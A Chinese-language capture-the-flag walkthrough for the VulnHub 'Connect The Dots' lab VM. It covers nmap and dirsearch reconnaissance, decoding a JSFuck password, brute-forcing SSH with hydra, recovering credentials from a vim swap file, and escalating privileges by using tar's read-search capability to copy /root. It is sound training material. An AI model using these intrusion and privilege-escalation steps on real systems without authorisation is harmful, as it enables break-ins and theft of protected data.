vulnhub靶场Connect The Dots
0x000 靶场描述
The machine is VirtualBox compatible but can be used in VMWare as well (not tested but it should work). The DHCP will assign an IP automatically. You have to find and read two flags (user and root) which is present in user.txt and root.txt respectively. Enjoy pwning it!
flag:用户/user.txt And root/root.txt
0x001 靶场下载
https://www.vulnhub.com/entry/connect-the-dots-1,384/
0x002 信息收集
探测存活主机
netdiscover -r 192.168.1.0/24
端口扫描
nmap -sS -sV -A -p 1-65535 192.168.1.106
21 ftp
80 http
2049 nfs
7822 ssh
nfs检测
showmount -e 192.168.1.106
mount -t nfs 192.168.1.106:/home/morris dot
这里可以检测到nfs的目录列表,但是挂载不了,因此放弃。
访问网站主页,发现页面提示存在备份信息。
目录扫描
dirsearch -u http://192.168.1.106 --wordlists=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
jsfuck编码
访问http://192.168.1.106/mysite/页面,发现了bootstrap.min.cs文件和登陆页面。。。
查看bootstrap.min.cs文件内容,通过百度,发现这是 jsfuck编码。。。
查看http://192.168.1.106/mysite/register.html页面加载过程,发现register.html页面会加载bootstrap.min.cs文件
console.log(b1+b2+b3+b4+b5+b6+b7+b8+b9+b10)
这条命令的作用:bootstrap.min.cs中是b1=,b2= ...,b10=,这种格式的,使用这条命令让他们的值组成一个新的字符串
复制上面命令执行后的内容,来到 http://codertab.com/JsUnFuck 进行解码。
结果是:TryToGuessThisNorris@2k19 ,看着像一个密码
hydra破解账号密码
hydra -L user.txt -p TryToGuessThisNorris@2k19 ssh://192.168.1.106 -s 7822
这里可能有人不知道norris用户是哪里来的,将这个TryToGuessThisNorris拆开来看Try To Guess This Norris。
ssh登陆norris用户
ssh norris@192.168.1.106 -p 7822
查看ftp目录下有什么信息
ftp登陆
ftp 192.168.1.106
使用get命令将四个文件下载到本地。
exiftool game.jpg.bak
exiftool:图片信息查看工具
发现comment的内容是摩斯密码
摩斯密码解密
https://gchq.github.io/CyberChef/
解密内容是:HEY NORRIS, YOU'VE MADE THIS FAR. FAR FAR FROM HEAVEN WANNA SEE HELL NOW? HAHA YOU SURELY MISSED ME, DIDN'T YOU? OH DAMN MY BATTERY IS ABOUT TO DIE AND I AM UNABLE TO FIND MY CHARGER SO QUICKLY LEAVING A HINT IN HERE BEFORE THIS SYSTEM SHUTS DOWN AUTOMATICALLY. I AM SAVING THE GATEWAY TO MY DUNGEON IN A 'SECRETFILE' WHICH IS PUBLICLY ACCESSIBLE.
告诉我们secretfile中存在密码信息
获取mirros用户密码
先用find查找secretfile文件位置。查看文件内容:I see you're here for the password. Holy Moly! Battery is dying !! Mentioning below for reference.
提示我们电池快没电了。。。
发现还存在.secretfile.swp文件
swp文件:是编辑器突然断电或 Ctrl+z 产生的文件
wget http://192.168.1.106/.secretfile.swp
将文件下载到本地
strings .secretfile.swp
strings:用来提取和显示非文本文件中的文本字符串
ssh登陆mirros用户
ssh morris@192.168.1.106 -p 7822
用户:密码 --> mirros:blehguessme090
0x003 提权
/sbin/getcap -r / 2>/dev/null
这里可以查看 https://www.cnblogs.com/f-carey/p/16026088.html#linux提权之利用capabilities提权
/usr/bin/tar = cap_dac_read_search+ep
tar -zcvf root.tar.gz /root # 打包/root目录
tar -zxvf root.tar.gz # 解压root.tar.gz
0x004 flag
cat /home/norris/user.txt
cat root/root.txt